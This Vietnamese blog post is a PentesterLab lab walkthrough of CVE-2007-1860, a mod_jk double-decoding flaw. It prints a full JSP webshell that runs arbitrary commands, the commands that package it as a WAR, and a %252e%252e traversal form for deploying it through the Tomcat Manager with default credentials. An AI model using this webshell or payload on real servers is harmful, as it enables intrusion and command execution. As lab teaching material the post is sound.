By using this site, you agree to the Privacy Policy and Terms of Use.
Accept
FantasistaFantasista
  • Home
  • Network
  • System
  • Software
  • Security
    SecurityShow More
    Hướng dẫn chung về Kali Linux
    27/05/2022
    Ransomware tấn công có chủ đích vào các tổ chức
    03/11/2021
    Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding
    04/10/2021
    Series Pentesterlab – Day 21: From SQL Injection to Shell
    15/09/2021
    Series Tryhackme – Day 01: Starting Out In Cyber Sec
    13/09/2021
  • Coding
  • Life
Search
© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.
Reading: Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding
Share
Sign In
Notification Show More
Latest News
Hướng dẫn chung về Kali Linux
27/05/2022
Ransomware tấn công có chủ đích vào các tổ chức
03/11/2021
Hướng dẫn kích hoạt IDM Full không cần crack, sử dụng key an toàn
10/10/2021
Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding
04/10/2021
Series Pentesterlab – Day 21: From SQL Injection to Shell
15/09/2021
Aa
FantasistaFantasista
Aa
Search
Have an existing account? Sign In
Follow US
© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.
Fantasista > Blog > Fantasista > Bảo mật > Pentest > Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding
Bảo mậtPentest

Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

Fantasista
Fantasista 04/10/2021
Updated 2021/10/10 at 11:51 Chiều
Share
12 Min Read
SHARE
Mục lục
Giới thiệuTomcat và ApacheCVE-2007-1860Tổng kếtSolution

Giới thiệu

Khóa học này trình bày chi tiết việc khai thác lỗ hổng trong mod_jk và cách sử dụng vấn đề này để có thể truy cập vào giao diện quản trị của máy chủ Tomcat (trình quản lý của Tomcat). Sau đó, sử dụng quyền truy cập này, chúng ta sẽ thấy cách kẻ tấn công có thể sử dụng thông tin đăng nhập mặc định để đăng nhập với tư cách quản trị viên và sử dụng quyền truy cập này để thực thi mã trên máy chủ.

Tomcat và Apache

Kiến trúc

Trên các hệ thống Unix/Linux, Tomcat không thể chạy trên cổng 80 trừ khi bạn khởi động với quyền root, điều này không phải là một ý kiến ​​hay vì Tomcat không bỏ đặc quyền và sẽ chạy dưới dạng root (trái ngược với Apache làm giảm đặc quyền trong quá trình khởi động). Tuy nhiên, máy chủ cần phải có sẵn trên cổng 80 (hoặc 443 cho https), đó là một trong những lý do mọi người sử dụng Apache để “proxy” các request được thực hiện đến cổng 80 để Tomcat chạy trên port cao hơn. Cấu hình này cũng có thể được sử dụng để:

  • phục vụ nội dung tĩnh trực tiếp từ Apache và giới hạn tải của Tomcat;
  • yêu cầu cân bằng tải giữa hai hoặc nhiều máy chủ Tomcat.

Máy chủ Apache và Tomcat có thể nằm trên cùng một máy chủ hoặc trên các máy chủ khác nhau, điều này có thể gây nhầm lẫn khi bạn thực thi lệnh trên máy chủ Tomcat và nhận ra rằng cấu hình của nó không khớp với những gì bạn thấy trên phần cuối của Apache.

Có hai cách phổ biến để “proxy” request từ Apache tới Tomcat:

  • http_proxy: các yêu cầu được chuyển tiếp đến Tomcat bằng giao thức HTTP;
  • ajp13: các yêu cầu được chuyển tiếp đến Tomcat bằng giao thức AJP13. Cấu hình này được sử dụng trong bài tập này bằng cách sử dụng mô-đun Apache mod_jk.

Tùy thuộc vào cấu hình của nó và vào yêu cầu được xử lý, Apache sẽ quyết định:

  • để tự xử lý yêu cầu:
    mod jk1 - Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding
  • để chuyển yêu cầu tới Tomcat để xử lý:
    mod jk2 - Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

Một bước rất quan trọng để hiểu và biết cách tìm URL để khai thác CVE-2007-1860. Một cách đơn giản là khám phá bằng cách sử dụng trang thông báo lỗi 404. Nếu bạn có thể nhìn thấy một trang error đến từ Apache, ví dụ khi bạn truy cập trang và kết quả trả về như ảnh sau thì có nghĩa là nó được handle bằng Apache:

https://ptl-a7d0c1ce-fc5a60d2.libcurl.so/test404

Pasted - Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

Tuy nhiên, nếu bạn nhìn thấy trang 404 như sau thì nó được handle bằng Tomcat (https://ptl-a7d0c1ce-fc5a60d2.libcurl.so/examples/jsp/test404):

Pasted 1 - Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

CVE-2007-1860

Giới thiệu

Mục tiêu của chúng ta ở đây là có được quyền truy cập vào Tomcat Manager. Tomcat Manager được sử dụng để triển khai các ứng dụng web trong Tomcat. Tomcat Manager có sẵn tại URI sau: /manager/html và thường được bảo vệ bằng mật khẩu (và không nên cài đặt trên môi trường product). Nếu bạn muốn biết thêm về trình quản lý Tomcat, hãy đảm bảo bạn kiểm tra bài tập trước của chúng tôi https://pentesterlab.com/exercises/axis2andtomcat_manager/.

Truy cập Manager sử dụng CVE-2007-1860

Nếu bạn xem phần tư vấn, bạn có thể biết thêm chi tiết về lỗ hổng này http://mail-archives.apache.org/mod_mbox/tomcat-dev/200706.mbox/%3C4667755F.6070700@apache.org%3E:

cve - Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

Vấn đề xuất phát từ thực tế là cả máy chủ web (Apache sử dụng mod_jk) và máy chủ ứng dụng (Tomcat) sẽ thực hiện giải mã đường dẫn do máy khách cung cấp.

Mục tiêu của chúng tôi ở đây là cung cấp một giá trị sẽ được giải mã hai lần và kết thúc là … Vấn đề này tương tự như truyền tải thư mục, nó có thể được sử dụng để truy cập file/path không khả dụng.

Nếu bạn đã đọc bài tập trước của chúng tôi “Web for Pentester” (https://pentesterlab.com/exercises/webforpentester/), bạn nên làm quen với double decoding/encoding. Bạn có thể tìm thấy một bản tóm tắt nhanh bên dưới:

Value URL encoding Double URL encoding
. %2e %252e

Về cơ bản, . được mã hóa thành %2e và % trong %2e sau đó được mã hóa lại thành %25. Giá trị 25 không cần mã hóa thứ hai.

Nếu bạn cung cấp %252e này cho một modjk dễ bị tấn công, nó sẽ thực hiện giải mã đầu tiên và gửi giá trị %2e tới Tomcat. Sau đó Tomcat sẽ thực hiện giải mã thứ hai để lấy giá trị ..  Nếu bạn sử dụng %252e%252e, thì bạn sẽ có thể gửi .. tới Tomcat. Nếu bạn cố gắng gửi .. trực tiếp đến Apache, nó sẽ không chuyển tiếp yêu cầu đến Tomcat trừ khi đường dẫn giải quyết thành một đường dẫn được định cấu hình để chuyển tiếp đến Tomcat (sử dụng modjk).

Bây giờ, bước tiếp theo là tìm một path:

  • Apache sẽ gửi đến Tomcat để xử lý.
  • chứa double-encoding trick %252e%252e.
  • chứa path /manager/html sau mã hóa kép để truy cập giao diện quản trị Tomcat.

Khi bạn tìm thấy path phù hợp, bạn sẽ được nhắc nhập thông tin đăng nhập:

creds - Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

Triển khai một Webshell

Trong phần này, chúng ta sẽ xem cách chúng ta có thể xây dựng và triển khai một Webshell để thực thi lệnh trên máy chủ.

Xây dựng một Webshell

Để xây dựng một Webshell, chúng ta sẽ cần viết Webshell và đóng gói nó dưới dạng tệp war . Để viết Webshell, chúng ta có thể sử dụng JSP hoặc Servlet. Để đơn giản hóa mọi thứ, chúng ta sẽ xây dựng một JSP Webshell, có thể sử dụng đoạn mã sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
 
<pre><%=output %></pre>

Bây giờ chúng ta có thể tạo một webshell tên thư mục và đặt tệp của chúng ta(index.jsp) vào bên trong nó:

1
2
$ mkdir webshell
$ cp index.jsp webshell

Bây giờ chúng ta có thể xây dựng tệp war bằng cách sử dụng jar (cung cấp với java):

1
2
3
4
$ cd webshell
$ jar -cvf ../webshell.war *
added manifest
adding: index.jsp(in = 579) (out= 351)(deflated 39%)

Webshell của chúng ta (webshell.war) hiện đã được đóng gói và chúng ta có thể tải nó lên bằng Trình quản lý Tomcat.

Deploying your Webshell

Thông thường, bạn có thể sử dụng biểu mẫu sau để tải lên tệp war:

form deploy - Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

Nếu bạn đã cố gắng tải lên tệp war bằng cách chọn tệp war và chỉ cần nhấp vào triển khai, bạn sẽ nhận được trang 404 vì URL triển khai không sử dụng double-encoding trick để có quyền truy cập vào trình quản lý. Để thực hiện việc triển khai này, bạn sẽ cần phải làm cho trình duyệt của mình đưa war đến đúng vị trí.

Có 3 cách đơn giản để vượt qua vấn đề này:

  • Xây dựng một trang html sẽ đưa war đến đúng URL.
  • Sửa đổi yêu cầu bằng cách sử dụng proxy.
  • Sửa đổi trang bằng cách sử dụng tiện ích mở rộng của trình duyệt như webdeveloper (hoặc “Inspect Element” trong Chrome).

Cách dễ nhất là tạo lại HTML bằng cách sao chép nó từ trang gốc và bằng cách thay đổi thuộc tính action để khai thác vấn đề double-encoding. Nội dung ban đầu của trang HTML phải tương tự như:

1
2
3
4
5
6
7
<form action="/manager/html/upload;jsessionid=570DCE2CEE80E5886C9BE24CAFA1CCAB?org.apache.catalina.filters.CSRF_NONCE=FF9D941BBB6EB4D7E30F84C5EAC5CC7E" method="post" enctype="multipart/form-data">
[..]
  <input type="file" name="deployWar" size="40">
[...]
  <input type="submit" value="Deploy">
[...]
</form>

Hoặc (cho Tomcat 7):

1
2
3
4
5
6
7
<form action="/examples/html/upload;jsessionid=570DCE2CEE80E5886C9BE24CAFA1CCAB?org.apache.catalina.filters.CSRF_NONCE=FF9D941BBB6EB4D7E30F84C5EAC5CC7E" method="post" enctype="multipart/form-data">
[..]
  <input type="file" name="deployWar" size="40">
[...]
  <input type="submit" value="Deploy">
[...]
</form>

Và bạn cần nhận được một cái gì đó tương tự như:

1
2
3
4
<form action="http://vulnerable/examples/jsp/%252e%252e/%252e%252e/manager/html/upload;jsessionid=570DCE2CEE80E5886C9BE24CAFA1CCAB?org.apache.catalina.filters.CSRF_NONCE=FF9D941BBB6EB4D7E30F84C5EAC5CC7E" method="post" enctype="multipart/form-data">
  <input type="file" name="deployWar" size="40">
  <input type="submit" value="Deploy">
</form>

Thêm URL đầy đủ vào form action sẽ cho phép bạn lưu tệp cục bộ và sử dụng tệp đó để khởi động cuộc tấn công của bạn.

Ngoài ra, bằng cách sử dụng “Developer Tools” của trình duyệt, bạn có thể trực tiếp sửa đổi trang HTML để thêm double-encoding trick vào form action:

form devtool - Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

Khi Webshell được triển khai, bạn sẽ thấy nó trong Tomcat’s Manager:

manager deployed - Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

Gaining Commands execution

Nếu bạn nhấp vào liên kết trong giao diện trình quản lý, bạn sẽ gặp lỗi HTTP 404:

webshell404 - Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

Hãy nhớ những gì chúng ta đã nói về lỗi Apache và lỗi Tomcat, ở đây chúng ta có thể thấy rằng chúng ta đang nói chuyện với Apache. Bạn sẽ cần sử dụng double-encoding trick để truy cập Webshell của mình và thực thi mã:

code exec - Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding

Tổng kết

Bài tập này giải thích cách truy cập vào trình quản lý Tomcat bằng CVE-2007-1860. Khi bạn có quyền truy cập vào người quản lý, bạn sẽ cần phải đoán thông tin đăng nhập. May mắn thay, quản trị viên hệ thống không biết rằng người dùng bên ngoài có thể truy cập trình quản lý và không bận tâm đến việc thay đổi thông tin đăng nhập mặc định. Sau khi có thông tin xác thực, bạn có thể dễ dàng truy cập vào giao diện quản trị của máy chủ ứng dụng và triển khai ứng dụng web tùy chỉnh để chạy các lệnh tùy ý trên hệ thống. Tôi hy vọng bạn thích học với PentesterLab.

Solution

You Might Also Like

Hướng dẫn chung về Kali Linux

Ransomware tấn công có chủ đích vào các tổ chức

Series Pentesterlab – Day 21: From SQL Injection to Shell

Series Tryhackme – Day 01: Starting Out In Cyber Sec

Series Pentesterlab – Day 20: JSON Web Token

TAGGED: pentest, pentesterlab

Sign Up For Daily Newsletter

Be keep up! Get the latest breaking news delivered straight to your inbox.
By signing up, you agree to our Terms of Use and acknowledge the data practices in our Privacy Policy. You may unsubscribe at any time.
Fantasista 04/10/2021
Share this Article
Facebook TwitterEmail Copy Link Print
Share
Posted by Fantasista
Follow:
Xin chào, mình là Tân. Mình tạo blog này 01/06/2021. Đây là nơi mình ghi chép lại những suy nghĩ, cảm nhận trong cuộc sống và những kiến thức mà mình học được.
Previous Article Series Pentesterlab – Day 21: From SQL Injection to Shell
Next Article Hướng dẫn kích hoạt IDM Full không cần crack, sử dụng key an toàn
Leave a comment Leave a comment

Trả lời Hủy

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Stay Connected

235.3k Followers Like
69.1k Followers Follow
11.6k Followers Pin
56.4k Followers Follow
136k Subscribers Subscribe
4.4k Followers Follow
- Advertisement -
Ad imageAd image

Latest News

Hướng dẫn chung về Kali Linux
Bảo mật Công cụ bảo mật 27/05/2022
Ransomware tấn công có chủ đích vào các tổ chức
An toàn thông tin Bảo mật 03/11/2021
Hướng dẫn kích hoạt IDM Full không cần crack, sử dụng key an toàn
Phần mềm Tiện ích 10/10/2021
Series Pentesterlab – Day 22: CVE-2007-1860: mod_jk double-decoding
Bảo mật Pentest 04/10/2021
https://pbs.twimg.com/profile_images/1542611508093661184/MR5LYGqH_normal.jpg
@envato
1.5k Following
71k Followers
https://pbs.twimg.com/profile_images/1542611508093661184/MR5LYGqH_normal.jpg 48 phút ago
@reputeinfosys Hi there, can you provide us with the ticket number to your request and we will make sure someone ge… https://t.co/TPdKynvll8
https://pbs.twimg.com/profile_images/1542611508093661184/MR5LYGqH_normal.jpg 1 giờ ago
@joeyancey_ Hi there, we would be more than willing to review this case for you. Please submit a support ticket her… https://t.co/V7jXIg1G3q
https://pbs.twimg.com/profile_images/1542611508093661184/MR5LYGqH_normal.jpg 10 giờ ago
@barts_ron Hi! Thanks for contacting us. It looks like all our systems are running smoothly. You can check the stat… https://t.co/Haz9yXFnMM

You Might also Like

Hướng dẫn chung về Kali Linux

27/05/2022
An toàn thông tinBảo mật

Ransomware tấn công có chủ đích vào các tổ chức

03/11/2021
Bảo mậtPentest

Series Pentesterlab – Day 21: From SQL Injection to Shell

15/09/2021
Bảo mật

Series Tryhackme – Day 01: Starting Out In Cyber Sec

13/09/2021
//

We influence 20 million users and is the number one business and technology news network on the planet

Quick Link

  • About
  • Contact
  • FAQs

Top Categories

  • Home
  • Network
  • System
  • Software
  • Security
  • Coding
  • Life
FantasistaFantasista
Follow US

© 2022 Foxiz News Network. Ruby Design Company. All Rights Reserved.

Join Us!

Subscribe to our newsletter and never miss our latest news, podcasts etc..

Zero spam, Unsubscribe at any time.

Removed from reading list

Undo
Welcome Back!

Sign in to your account

Register Lost your password?